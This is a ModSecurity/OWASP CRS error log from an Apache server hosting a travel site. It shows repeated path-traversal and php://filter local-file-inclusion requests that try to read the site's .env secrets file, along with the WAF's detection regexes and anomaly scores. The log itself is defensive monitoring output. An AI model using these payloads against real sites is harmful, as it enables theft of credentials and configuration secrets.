[Fri Jul 17 08:55:12.348964 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&lang=php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F..%2F.env&junk=nVjRfQfaQNhzvdCqn90E1tbROHTQ6nCy_--9UBYtg2d2Zji7yMXkLIbMj2fsJmEsDSYlhO7uCvWleKIsLU8hLf3ASc7onRtY5XAPhsM9YoX3k8Gah6EUYmzsxtsZ-0yxQponh-17zQlfhvT702suK1XrXIz2Z7YxUZurFi2PdeSH4AAVYcGOPbT5R2f0xFt_pGxWr0FGPdvstT4FDT03scSxRTRF17SVF56Bjrmsme8y2IPydZRkEBLSqH6-msfkARAUme4IAms2W59VInJuFNEZ&ts=QVDQKJD53V3WXYXKM4G4BSTWYICCVV6F3CAKQIPTLCCS2XZCSNCD6USFGOTDF6GFNXDOZOHTLYI7ZO..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmIl9vhFBGA6D8l952AAAAAw"]
[Fri Jul 17 08:55:12.349012 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:lang: php://filter/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmIl9vhFBGA6D8l952AAAAAw"]
[Fri Jul 17 08:55:12.349084 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&lang=php://filter/convert.base64-encode/resource=../../../.env&junk=nVjRfQfaQNhzvdCqn90E1tbROHTQ6nCy_--9UBYtg2d2Zji7yMXkLIbMj2fsJmEsDSYlhO7uCvWleKIsLU8hLf3ASc7onRtY5XAPhsM9YoX3k8Gah6EUYmzsxtsZ-0yxQponh-17zQlfhvT702suK1XrXIz2Z7YxUZurFi2PdeSH4AAVYcGOPbT5R2f0xFt_pGxWr0FGPdvstT4FDT03scSxRTRF17SVF56Bjrmsme8y2IPydZRkEBLSqH6-msfkARAUme4IAms2W59VInJuFNEZ&ts=QVDQKJD53V3WXYXKM4G4BSTWYICCVV6F3CAKQIPTLCCS2XZCSNCD6USFGOTDF6GFNXDOZOHTLYI7ZOAT32TZV4TIOREQU5SQ5K66UCNT..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmIl9vhFBGA6D8l952AAAAAw"]
[Fri Jul 17 08:55:12.349113 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&lang=php://filter/convert.base64-encode/resource=../../../.env&junk=nvjrfqfaqnhzvdcqn90e1tbrohtq6ncy_--9ubytg2d2zji7ymxklibmj2fsjmesdsylho7ucvwlekislu8hlf3asc7onrty5xaphsm9yox3k8gah6euymzsxtsz-0yxqponh-17zqlfhvt702suk1xrxiz2z7yxuzurfi2pdesh4aavycgopbt5r2f0xft_pgxwr0fgpdvstt4fdt03scsxrtrf17svf56bjrmsme8y2ipydzrkeblsqh6-msfkaraume4iams2w59vinjufnez&ts=qvdqkjd53v3wxyxkm4g4bstwyiccvv6f3cakqiptlccs2xzcsncd6usfgotdf6gfnxdozohtlyi7zoat32tzv4tiorequ5sq5k66ucnt..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmIl9vhFBGA6D8l952AAAAAw"]
[Fri Jul 17 08:55:12.349134 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:lang: php://filter/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmIl9vhFBGA6D8l952AAAAAw"]
[Fri Jul 17 08:55:12.349152 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:lang: php://filter/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmIl9vhFBGA6D8l952AAAAAw"]
[Fri Jul 17 08:55:12.349334 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&lang=php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F.env&ts=u1yHQexbKs8LsrLjCz2DNZm4vOE3-kFBo_JNTEo6zxqjA5vzV4iRgdAQiiHeT2Ybfk0OfyP7BLpGyQEipP2W1gtOAUFE1rBHcwBK3uCbXH2DIIZFtrjPhC6sVx7Ds05xru8TjUoTMmKdIVrH0LRRrvlCk897DEexshmQMcN0bMMKnJSKxpdnNnYurqZlGI_YOWtqonzA0TxaXGmyYj3Vcg4FxUBmr7JrKuwnzdvUPgwgvWH9F7oELp8NWevvit9wNpXpRMSRDTflD1RAoE9JXGe1&token=RGOLXOEQFVRTABI4FA4ZW4DWHLRALN3H7XEOV2JVMFVUO37IAIJDBLVZWSX6OITCB2AMXCHGM5B7W6NQCA..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmLEWOaI5pmYo9fnOxwAAAAA"]
[Fri Jul 17 08:55:12.349371 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:lang: php://filter/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmLEWOaI5pmYo9fnOxwAAAAA"]
[Fri Jul 17 08:55:12.349430 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&lang=php://filter/convert.base64-encode/resource=../../.env&ts=u1yHQexbKs8LsrLjCz2DNZm4vOE3-kFBo_JNTEo6zxqjA5vzV4iRgdAQiiHeT2Ybfk0OfyP7BLpGyQEipP2W1gtOAUFE1rBHcwBK3uCbXH2DIIZFtrjPhC6sVx7Ds05xru8TjUoTMmKdIVrH0LRRrvlCk897DEexshmQMcN0bMMKnJSKxpdnNnYurqZlGI_YOWtqonzA0TxaXGmyYj3Vcg4FxUBmr7JrKuwnzdvUPgwgvWH9F7oELp8NWevvit9wNpXpRMSRDTflD1RAoE9JXGe1&token=RGOLXOEQFVRTABI4FA4ZW4DWHLRALN3H7XEOV2JVMFVUO37IAIJDBLVZWSX6OITCB2AMXCHGM5B7W6NQCAXBP6WHNWW5OPEK65CXZZMGRI..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmLEWOaI5pmYo9fnOxwAAAAA"]
[Fri Jul 17 08:55:12.349466 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&lang=php://filter/convert.base64-encode/resource=../../.env&ts=u1yhqexbks8lsrljcz2dnzm4voe3-kfbo_jnteo6zxqja5vzv4irgdaqiihet2ybfk0ofyp7blpgyqeipp2w1gtoaufe1rbhcwbk3ucbxh2diizftrjphc6svx7ds05xru8tjuotmmkdivrh0lrrrvlck897deexshmqmcn0bmmknjskxpdnnnyurqzlgi_yowtqonza0txaxgmyyj3vcg4fxubmr7jrkuwnzdvupgwgvwh9f7oelp8nwevvit9wnpxprmsrdtfld1raoe9jxge1&token=rgolxoeqfvrtabi4fa4zw4dwhlraln3h7xeov2jvmfvuo37iaijdblvzwsx6oitcb2amxchgm5b7w6nqcaxbp6whnww5opek65cxzzmgri..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmLEWOaI5pmYo9fnOxwAAAAA"]
[Fri Jul 17 08:55:12.349471 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:lang: php://filter/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmIl9vhFBGA6D8l952AAAAAw"]
[Fri Jul 17 08:55:12.349499 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:lang: php://filter/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmLEWOaI5pmYo9fnOxwAAAAA"]
[Fri Jul 17 08:55:12.349525 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:lang: php://filter/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmLEWOaI5pmYo9fnOxwAAAAA"]
[Fri Jul 17 08:55:12.349856 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:lang: php://filter/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmLEWOaI5pmYo9fnOxwAAAAA"]
[Fri Jul 17 08:55:12.350508 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmIl9vhFBGA6D8l952AAAAAw"]
[Fri Jul 17 08:55:12.350629 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:12.350800 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmLEWOaI5pmYo9fnOxwAAAAA"]
[Fri Jul 17 08:55:12.350898 2026] [hostinglimits:warn] [pid 2019501:tid 2019501] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2019501) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:12.350910 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgmIl9vhFBGA6D8l952AAAAAw"]
[Fri Jul 17 08:55:12.351224 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgmLEWOaI5pmYo9fnOxwAAAAA"]
[Fri Jul 17 08:55:12.355367 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:lang: php://filter/convert.iconv.utf-8.utf-7/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmFCBpfuYyhJ140vSgAAAAB4"]
[Fri Jul 17 08:55:12.356381 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmFCBpfuYyhJ140vSgAAAAB4"]
[Fri Jul 17 08:55:12.356495 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:12.356743 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgmFCBpfuYyhJ140vSgAAAAB4"]
[Fri Jul 17 08:55:12.357782 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&lang=php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-7%2Fresource%3D..%2F..%2F.env&junk=Z07fK0JPVuK-iMZAI4vps-xdFvPWeY_ph9TDHXguT3ktYqiNgKlg1wxZgbfH38HxoniJICqgtBGxCebAIIU3mX_hXSTV2m8CkBI3YfYI63VPaedT60yPSFpADlM65SsH9Yv-pIswQi0qu6ZOI6ziaxhW3DNiSi5R1nFkiLDSi6sfip6roAAgDMztb7Aya65NEsoEInFJhbwIzU46wVkpUdCmPTXr6hvSuABsyQZhNRra-5-5mbTfE5auiQQB1WlLOC7ehaY2iwf3iC1pRYEnWf_i&ref=OAIUGMPKXGDCTVR3OXR7NBVSCIYIK62Z6XTB4Q5HTHDHOG63SMGOP3GZGOAUQ5XHUP3H4PBAPCP5FH..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmIZvbo7N5o5zeYC-PgAAABw"]
[Fri Jul 17 08:55:12.357818 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:lang: php://filter/convert.iconv.utf-8.utf-7/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmIZvbo7N5o5zeYC-PgAAABw"]
[Fri Jul 17 08:55:12.357863 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&lang=php://filter/convert.iconv.utf-8.utf-7/resource=../../.env&junk=Z07fK0JPVuK-iMZAI4vps-xdFvPWeY_ph9TDHXguT3ktYqiNgKlg1wxZgbfH38HxoniJICqgtBGxCebAIIU3mX_hXSTV2m8CkBI3YfYI63VPaedT60yPSFpADlM65SsH9Yv-pIswQi0qu6ZOI6ziaxhW3DNiSi5R1nFkiLDSi6sfip6roAAgDMztb7Aya65NEsoEInFJhbwIzU46wVkpUdCmPTXr6hvSuABsyQZhNRra-5-5mbTfE5auiQQB1WlLOC7ehaY2iwf3iC1pRYEnWf_i&ref=OAIUGMPKXGDCTVR3OXR7NBVSCIYIK62Z6XTB4Q5HTHDHOG63SMGOP3GZGOAUQ5XHUP3H4PBAPCP5FHQTDEZ5ZFYWGHO5KWCUZTFV6O..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmIZvbo7N5o5zeYC-PgAAABw"]
